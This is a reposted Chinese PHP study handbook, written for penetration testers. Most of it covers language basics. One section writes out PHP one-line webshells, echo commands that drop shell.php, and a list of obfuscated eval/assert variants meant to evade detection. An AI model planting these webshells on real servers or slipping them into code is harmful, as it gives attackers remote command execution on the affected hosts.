php安全修炼手册(持续更新2021.1.6)


(持续更新哟,点个关注和赞吧)

!!!如要学习具体深刻需要善于运用搜索引擎。!!!

php笔记可参考php手册https://www.php.net/

php的构成与理解

  众所周知,php(超文本预处理器)是一种基于B/S结构的解释性语言,在我们深入理解php语言之前,我们可能都接触过了比较基础的php语言,再此就不详细展开细节了,我们先从其基础和结构理解开始并学会使用php。

 

php的输出函数

 

  通常我们使用echo或print来输出某些字符串;如果要格式化输出操作,我们通常使用printf()函数或者sprintf()函数。

  在我们使用php语言时,我们经常会遇到这么一些词语,他们有特殊的意义但不是函数,只是一种特殊的语言结构,这些被我们称为php关键词,如print,echo,array等,详情可翻阅php手册https://www.php.net/manual/zh/reserved.keywords.php

  1.print和echo都不是真正的函数,但都可以以带有参数的函数形式进行调用,echo要比print速度快,print有函数返回值可以作为表达式的一部分。(优劣比较及使用不做推荐)

  echo print
输出 可同时输出多个字符串 可同时输出一个字符串
使用错误抑制符@ 不能
函数返回值 int类型的1
参数

支持多参数,用英文逗号","连接成多个参数

或用英文点号"."连接成一个参数

只支持一个参数,可用英文点号"."连接成一个参数

  printf()函数将一个格式化的字符串输出到浏览器中,举例:

  在php手册中printf()函数的定义为printf ( string $format , mixed ...$values ) : int

<?php
$number = 9;
$str = "广东";
printf("在%s有%u百万辆自行车。",$str,$number);
?>

浏览器输出 //在广东有 9 百万辆自行车。

  举例一些format值

  • %% - 返回百分比符号
  • %b - 二进制数
  • %c - 依照 ASCII 值的字符
  • %d - 带符号十进制数
  • %e - 可续计数法(比如 1.5e+3)
  • %u - 无符号十进制数
  • %f - 浮点数(local settings aware)
  • %F - 浮点数(not local settings aware)
  • %o - 八进制数
  • %s - 字符串
  • %x - 十六进制数(小写字母)
  • %X - 十六进制数(大写字母)

  sprintf()函数是返回一个格式化后的字符串,举例:

  在php手册中sprintf()函数的定义为sprintf ( string $format , mixed ...$values ) : string

<?php
$number = 2;
$str = "guangdong";
$txt = sprintf("There are %u million cars in %s.",$number,$str);
echo $txt;
?>

浏览器输出 //There are 2 million cars in guangdong.

  通过以上实例可以看出很明显的区别,printf()函数和sprintf()函数不同之处在于:

  (1)printf()函数可以直接将格式化之后的字符串输出,而sprintf()函数需要使用echo方法将格式化后的字符串输出。

  (2)printf()函数的返回值为int类型,表示打印出来字符串的字符数量,而sprintf()函数的返回值为一个字符串。

  (3)sprintf()函数不显示格式化的字符串,因而非常适合于生成数据库查询语句,从而避免SQL与变量混合。举例:

假设我们向这个php输入数据,即name用户可控,构造的payload为?name=xluo/

(ps: mysql_real_escape_string(string, connection)函数作用是转义SQL语句中的特殊字符,成功返回字符串,失败返回false,php前面连接数据库不做示范。

 

sql语句为INSERT INTO table_name (列1, 列2,...) VALUES (值1, 值2,....),关于数据库语句笔者以后的文章会讲到)
<?php
$id = 6.00;
$name=$_GET["name"];
$sql = sprintf("insert into table table_name(id,name) values (%d,'%s')",$id, mysql_real_escape_string($name)); 

echo $sql;
?>

浏览器输出 //insert into table table_name(id,name) values (6,'xluo\/')

 

 

php中的一句话

  在我们学习和了解php的一句话木马之前,我们需要先了解以下引号之间的不同。

2.双引号""中,变量名称将被变量值替代!(浏览器用echo命令写入一句话的时候记得\注释);

  单引号''中,变量名称或其他任何文本将不经修饰发送给浏览器;

  反向单引号``中,里面的命令将试着当作服务器端命令行命令来执行(通常引号被过滤可以考虑用反向单引号)。

  示例,以下是将一句话写入名为shell.php中,为了防止命令出错,单引号中不能使用单引号、双引号中不能使用双引号(除非将里面的引号进行转义):

环境 windows Linux
echo写入一句话 echo ^<?php @eval($_GET['pass']);?^>>shell.php echo '<?php @eval($_GET["pass"]);?>' >shell.php
    echo '<?php @eval(\$_GET[\'pass\']);?>' >shell.php
    echo "<?php @eval(\$_GET['pass']);?>" >shell.php
    echo "<?php @eval(\$_GET[\"pass\"]);?>" >shell.php

  Windows下echo写入一句话时不用加引号,不然会将引号也写进去,同时对尖括号需要进行转义(Windows的cmd中我们通常用^进行转义),否则cmd处理的时候会出现错误。

  Linux下echo写入php一句话中我们通常使用如上表格最上面的命令,因为单引号中$不会被当成变量处理从而完整地将一句话写入shell.php中,同时我们需注意因为单引号的使用,所以我们GET方法传入参数pass时用的是双引号。

  在漏洞探寻和渗透测试中,单引号和双引号的使用往往是一个小细节,能够减少我们debug的时间并得到正确结果。

  现在来了解一下php的一句话,通常来说,为了让传入的这一句话木马能发挥巨大的作用,我们采用了以上表格命令,现在来详细解读一下这个一句话木马:

  我们传入的是<?php @eval($_GET["pass"]);?>,并且传入到shell.php中,让这一句话以php的方式解析,那么我们就可以“为所欲为”了。(@只是错误抑制符,加上会让我们的一句话没那么容易暴露,因为有时候不传入payload的时候变量未定义会报错并显示出来)

  利用的方式是我们通过利用的GET传入参数pass,对他输入不同的payload(构造的值),输入的payload将通过eval(执行命令的语言结构,eval不是函数,前文有提及)执行命令,这样便完成了各种危险的操作,同时我们也知道了一句话木马构成危害的原理,而现在的使用一句话的自动化工具蚁剑、菜刀等,连接后能完成文件删改的原理也是一样,这里建议刚接触的时候手工尝试不要用工具。

  现在我们知道了一句话木马的关键便是命令的执行,同样php中也有一些命令执行函数可以代替eval,举例相应函数及使用:

assert()函数(ps:在PHP7.1版本以后,assert()默认不再可以执行代码) <?php assert($_GET["pass"]);?>
system()函数 <?php system($_GET["pass"]);?>
passthru()函数 <?php passthru($_GET["pass"]);?>
exec()函数 <?php exec("$_GET['pass']",$a);print($a);?>
shell_exec()函数

<?php $a=shell_exec("$_GET['pass']");var_dump($a);?>

使用反引号`执行代码(ps:要确保shell_exec函数可用,否则无法用)

<?php echo `$_POST['pass']`;?>

  也可使用popen()函数打开进程执行命令,自行百度、尝试,这里不做举例。

  如果你是开发者,当你使用这些函数来执行系统命令时,可以使用escapeshellcmd()和escapeshellarg()函数阻止用户恶意在系统上执行命令,escapeshellcmd()针对的是执行的系统命令,而escapeshellarg()针对的是执行系统命令的参数。

  下面放一些比较常见的一句话木马,我们也可以根据丰富的php函数自行创造和修改(未具体尝试,如有出错欢迎评论指出)注意assert()的版本问题(上表格有提及,需要时自行修改)

普通的一句话GET方法(也可以用POST方法或者REQUEST等方法代替,下文也是如此 <?php @eval($_GET["pass"]);?>
用php变量表示(ps:eval不能作为变量函数去执行)
<?php $a = "passthru";$a(@$_GET['pass']); ?>

php变量表示变形1(ps:大小写混淆)

<?php $a="AssERT";$b=strtolower($a);@$b($_POST['pass']);?>

php变量表示变形2(ps:字符串拼接)

<?php $a="e"."v";$b="a"."l";$c=$a.$b;$c($_POST['a']);?>
 php变量表示变形3(ps:字符串拼接、大小写混淆、字符串逆序)  <?php $a="TR"."Es"."sA";$b=strtolower($a);$c=strrev($b);@$c($_GET['pass']);?>
 PHP可变变量(ps:变量的变换)  <?php $b="assert";$a='b';$$a($_POST['pass']);?>
 
使用create_function函数  <?php $a=create_function('',$_POST['pass']);$a();?>
 
自定义函数
<?php function b($a){@eval($a);}
@b($_POST['pass']);?>
使用call_user_func()函数(ps:调用函数)
<?php @call_user_func(assert,$_POST['pass']);?>

使用call_user_func_array()函数

 
<?php $array[0]=$_POST['pass'];@call_user_func_array(assert,$array);?>
 
base64_decode 函数

<?php $a=base64_decode("cGFzc3RocnU=");

@a($_POST['pass']);?>

preg_replace函数(ps:preg_replace 函数的第一个参数是一个正则表达式,后文会提到正则表达式。

如果在表达式末尾加上一个 e,则第二个参数就会被当做 php代码执行。)

<?php function a(){return $_POST['pass'];}
@preg_replace("/test/e", a(),"test1");?>
 array_map()函数(ps:array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新的值的数组。)

 <?php

$a=$_GET['1'];$cmd=$_POST['2'];$array[0]=$cmd;$new_array=array_map($a,$array);

echo $new_array;?>

array_filter()函数

 

<?php $a=$_POST['1'];$array1=array($a);$b=$_GET['2'];array_filter($array1,$b);?>

 

pares_str函数(ps:结果$a=eval)

<?php $str="a=eval";parse_str($str);$a($_POST['pass']);?>

str_replace函数(ps:结果$a=assert)

<?php $a = str_replace("test", "", "astestsert");$a($_POST['pass']);?>

uasort()函数、usort()函数

 <?php usort($_GET,'asse'.'rt');?>

 

<?php usort(...$_GET);?>

动态函数

<?php $_GET['1']($_GET['2']);?>

 

 

3.用gettype()函数获取变量类型,用settype()函数改变变量类型,intval()转为整数

类型有bool,int,double(浮点型),string,array,object,resource,NULL。

除此之外php还有很多特定的类型测试函数is_xxx(),如is_array(),is_scalar(),is_numeric()等等。

 

4.isset()变量存在且值不为null返回true,其余相反,

empty()变量存在且是一个非空非零的值时返回false,其余相反。

 

5.elseif等于else if,在一系列的级联elseif语句中,只有第一个为true条件下的语句将被执行。

 

6.如果没有break,switch语句将执行case值为true的以下所有代码,例如

<?php 
switch ($a)
{ case 0: echo "0"; case 1: echo "1"; case 2: echo "2";
}
?>

当$a的值为0时将执行所有语句,当$a的值为2时只执行最后一条语句。

 

7.==为弱等于,===为恒等于。

 

8.fopen()文件模式作用(ps:打开文件,从文件头开始):

r(只读)。(ps:无)

r+(读写)。(ps:无)

w(写)。(ps:如果文件已存在,将删除文件所有内容,如不存在将创建)

w+(读写)。(ps:无)

x(谨慎写)。(ps:如果已有文件,则不会打开且返回false,且php产生一个警告)

x+(谨慎读或写)。(同上)

a(追加写)。(ps:如已有文件,从文件末尾开始追加,如没有,则创建。)

a(追加写或读)。(同上)

b(二进制)。(用于与其他模式进行连接……)

t(文本)

(ps:以上字母后面是作用,并不是严格意义的模式名称)

 

9.fputs()fwrite()的别名,可用file_put_contents()代替fwrite()

 

10.feof()唯一参数是文件指针,如指向文件末尾则返回true。

使用feof()作为文件结束的测试条件。

 

11.fgets()读取文件内容,每次一行。

fgetss()同上,还可选择过滤。

fgetcsv()当使用了分隔符(例如制表符或者逗号)的时候可以选择分行,

可用explode()implode()(同join()作用)join()(效果和explode()相反),strtok()(一次从字符串取一个子字符串) 分隔。

 

12.读取整个文件:readfile()fpassthru()(ps:需要先用fopen()打开文件,然后再将文本指针作为参数传递给fpassthru(),这样就可以把所指向文件内容发送到标准输入,然后再将文件关闭。成功返回true失败返回false。),file()(把结果发送到一个数组),file_get_contents()(以字符串的形式返回文件内容)。

 

13.读取一个字符fgetc(),一次读取一个字符。读取任意长度fread()

 

14.查看文件是否存在file_exists()。确定文件大小filesize()。删除一个文件unlink()。可以对文件指针进行操作,在文件中定位:rewind(),fseek(),ftell()。文件锁定flock()(ps:无法在NFS或其他网络文件系统中使用,无法在多线程服务器API中使用)。

 

!!!如要学习具体需要善于运用搜索引擎。!!!

 

15.array()和echo一样实际上是一个语言结构而不是函数。(可用[]代替array()。)

sort()值从小到大排序), rsort()加r反序),usort()(加u自定义);

asort()(对数组进行排序并保持索引关系,arsort()加r反序,uasort()(加u自定义)

ksort()(按照键名排序),krsort()加r反序),uksort()(加u自定义)。

使用以上函数进行排序,或创建用户自定义排序函数或使用array_multisort()函数。

也可使用array_reverse()(与原来数组相反排序),shuffle()随机。

“=”可以将数组复制到另一个数组,添加数组元素array_push(),删除数组元素array_pop()sizeof()count()的别名函数。

通过count(),sizeof(),array_count_values() 统计数组元素。

 

16.访问数组可用[]或{}。foreach()循环转为数组和对象打造,索引数组也可用list()(ps:可以将一个数组分解为一系列的值)each()(ps:返回数组的当前元素,并将下一个元素作为当前元素,数组将记录当前元素,如需多次使用数组,用reset()函数将当前元素作为数组的开始。)

extract()将数组转化为标量变量。

以相同方式使用或者修改数组中每一个元素用array_walk()

 

17.键与值之间用=>符号。

 

18.<>与!=相同。+为联合操作符,尝试把后面数组元素添加到前面数组的末尾,若具有相同的键则不被添加。

 

19.了解算术操作符,逻辑操作符,位操作符,比较操作符,数组操作符等。

 

20.数组浏览:each(),next(),使指针指向下一个元素

prev()(和next()相反),end(),逆序遍历。

current()(返回数组中的当前单元),pos()(current()的别名)。

reset()(前文有)。

 

21.字符串截断(默认除去字符\n,\r,\t,\x0B,\0,空格):

trim()(还除去字符串开始位置和结束位置的空格,并返回)

rtrim()的别名函数chop()(从结束处除去空格)

ltrim()(从开始处除去空格)

 

22.使用htmlspecialchars()函数过滤输出至浏览器的字符串(实体编码)。

使用str_replace(),substr_replace()函数进行过滤或替换子字符串。

使用nl2br()函数进行html格式化。使用substr()得到某个固定格式字符串的一部分。

 

23.了解转换规范支持的类型码

 

24.字符串的排序:strcmp(),strcasecmp()(不区分大小写),strnatcmp()(按照自然排序)

 

25.strlen()判断字符长度,学会使用get_meta_tags(),

 

26.在字符串中查找字符串:strstr(),strchr(),strrchr(),stristr()

 

27.查找子字符串的位置:strpos()strrpos()

parse_str(),将字符串解析成多个变量。

parse_url(),解析url返回其组成部分。

 

28.了解正则表达式,目前通常是perl风格,使用PCRE正则表达式,每个表达式必须包含在一对分隔符中,最常见的分隔符是 / ,如/xluo/。

如果要在正则表达式中匹配/或者特殊字符需要用反斜杠\转义,如/xluo\/\//PCRE正则表达式语法链接了解模式修饰符,链接

(ps:在一个双引号引用的php字符串中使用\需要\\,这就导致需要使用四个反斜杠\\\\来表示一个包含在正则表达式的反斜杠字符\,如表示$字符需使用\\\$,因为字符串被引用在双引号中,php解释器将其解析为\$,而正则表达式解释器将其解析成一个$字符)

了解正则表达式符号,链接,方括号中的表达式只匹配一个字符,可使用-来描述一个范围,如/[a-zA-Z]/表示代表大小写任何字母

了解正则的预定字符类,如[[:word:]]匹配"word"字符(字母数字或下划线)链接

外部方括号分隔字符类,而内部方括号是字符类名称的一部分,如/[[:alpha]1-5]/匹配的是包含字母字符1到5数字的字符。

了解子表达式,/(very )*large/可以匹配"large""very large""very very large"等。

/(very ){1,3}/,表示匹配"very ","very very ","very very very "。

了解PCRE正则表达式中用于方括号里面的特殊字符\^-和用于方括号外面的特殊字符\^$.|()*+{}?

了解转义序列\的三种用法(ps:了解转义序列第三种\d,\D,\h,\H,\s,\S,\v,\V,\w,\W)

 

29.脱字符号^用于正则表达式的开始,字符$用于正则表达式的结尾,思考/^xluo/,/xluo$/,/^xluo$/分别匹配什么。

 

30.通过|来进行模式选择/aa|bb|cc/匹配aa,bb或cc。

 

31.了解回溯引用。

 

32.理解PCRE正则表达式的断言。

 

33.preg_match()函数正则表达式如匹配到返回1,如没有匹配到返回0,如果出现匹配错误返回false,故通常用===来进行判断检查返回值,避免混淆。

preg_split()函数使用正则表达式分割字符串。

了解其他PCRE正则表达式函数。

 

34.了解require()include()函数来支持代码重用,载入文件时会作为php文件一部分被执行。

require_once()include_once()确保一个被引入的文件只能被引入一次,而且速度比上面的更快。

 

35.了解auto_prepend_file()auto_append_file()

 

36.了解调用函数,且函数调用不区分大小写。了解自定义函数。

 

37.了解函数基本结构,如以下是成立的:

<?php 
function my_function()
{
?> My function was called <?php
}
?>

 

38.php不支持函数重载,所以函数命名需注意不能乱命名,了解函数命名规则。

 

39.了解参数的使用,传递参数允许我们获得在函数外部生成的数据,可选参数在调用时不能以间隔的方式给出,参数将按照从左到右的顺序进行赋值。

 

40.理解作用域,明白函数内的global $var;是声明全局变量。

 

41.了解return;将终止执行函数,也可返回结果。

 

42.简单了解递归函数,递归慢且占内存,通常我们通过循环代替递归。

 

43.了解匿名(闭包)函数。

 

44.理解面向对象概念,了解类和对象,了解多态性和继承。

<?php
class classname { public $a public $b function aaa(){} }
?>

上面创建了一个简单的类,它具有两个属性$a和$b,它有一个方法aaa(){}没有带参数

 

45.了解构造函数__construct()和析构函数__destruct()链接

 

46.了解类的实例化,通常使用new来创建一个对象,需要指定创建的对象是哪一个类的实例,并且为构造函数提供任何所需的参数。

 

47.熟悉使用类属性,在一个类中可以访问一个特殊的指针$this,当在该类中通过一个操作设置或访问该变量时,可以用 $this->我是变量 来引用,了解->链接

 

48.可以用调用类属性相同的方法调用类操作,可以按照调用其他函数的方法调用类操作:操作名称以及必要参数。

 

49.了解使用privatepublic关键字控制访问,了解访问修饰符,链接

public,默认,公有属性或方法可以在类的内部和外部进行访问。

protect,只能在类内部进行访问。

private,只能在类内部直接进行访问。

 

50.尝试编写访问器函数

<?php class classname {  private $a;  function __get($name)  {  return $this->$name ;  }  function __set($name,$value)  {  $this->$name = $value ;  } } $b = new classname(); $b->a = 5; echo $b->a; ?>

 

51.了解php继承,可以看看笔者关于JavaScript原型链继承及污染也可触类旁通。

php继承可以使用关键字extends,

<?php class B extends A {  public $b;  function bbb()  {  } class A {  public $a;  function aaa()  {  }
} $xluo = new B(); $xluo->a(); $xluo->b(); $xluo->a = 1; $xluo->b = 1;
?>

​以上对$xluo的操作全部成立,因为类B继承了类A。

 

52.通过继承使用private和protected控制可见性。

如果属性被指定为​private,​它将不能被继承,

如果属性被指定为​protected,​它将在类外部不可见,但是可以被继承。

 

53.了解php的覆盖,子类重载(覆盖)父类,parent允许调用父类操作的最初版本,比如声明类B,继承类A,因此继承了类A和类A父类(如果有)的所有特性,类B可以选择覆盖和替换父类的属性和操作,链接

 

54.可使用final关键字禁止继承和覆盖

<?php class A {  public $a = 'a';  final function xluo()  {  echo "aaaa";  } } ?>

以上class B extends A(类B继承类A)时,可以禁止类B覆盖xluo()方法。

也可以用final在class前面防止class被继承。

 

55.理解多重继承,php不支持多重继承,每个类只能继承一个父类。

但php中提供了两种机制来支持类多重继承功能:接口(类似Java)和Trait(建议使用Trait)

实现接口示例,链接

使用Trait,链接。(ps:若类已继承获得了继承的方法并使用Trait,覆盖优先级为Trait方法覆盖继承的方法,但当前类方法覆盖Trait的方法)了解多个Trait冲突的解决办法。

 

56.学会编写自定义类代码。

 

57.理解php面向对象高级功能。

 

58.了解使用类级别常量。php提供了类级别常量的思想,这个常量可以在不初始化类的情况下使用,可以通过::操作符并指定常量所属的类来访问类级别的常量。

<?php class xluo {  const a = 1.1; } echo "xluo::a = ".xluo::a; ?>

 

59.实现静态方法。使用static关键字,允许在未初始化类的情况下调用方法(等价于类级别常量的思想)。

<?php class xluo {  static function xluoxluo($a)  {  return $a*$a;  } } echo xluo::xluoxluo(2); ?>

 

60.检查类类型和类型提示,通常使用instanceof,检查一个对象是否是特定的类的实例,是否是某个类继承过来或是否实现了某个接口

比如类B继承(extends)类A,且类A、类B和接口Xluo都位于当前的作用域,那么{$b instanceof B}将返回true,{$b instanceof A}将返回true,{$b instanceof Xluo}将返回false。

使用类类型提示可以指定必须传入的参数类类型

function xluo(B $a)

 

61.延迟静态绑定。

 

62.对象克隆。了解__clone()方法

 

63.使用抽象类。

 

64.使用__call()重载方法。

 

65.使用__autoload()方法。

 

66.实现迭代器和迭代。

 

67.了解生成器。

 

68.将类转化为字符串。实现__toString()函数。

 

69.使用反射API。

 

70.了解名称空间,了解使用子名称空间,理解全局名称空间,名称空间的导入和别名

 

71.了解异常处理的概念。throw关键字异常处理机制,同时它是一个语言结构而不是函数,但必须给它传递一个值。

 

72.了解Exception类,其构造函数有三个参数,错误消息、错误代码及前序异常。

 

73.学会用户自定义异常。

 

74.了解异常和其他错误处理机制。

 

75.学会php与数据库交互的函数,链接1,链接2.

 

76.

---php学习的事情就先告一段落了,之后有遇到的话再补上---

 


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM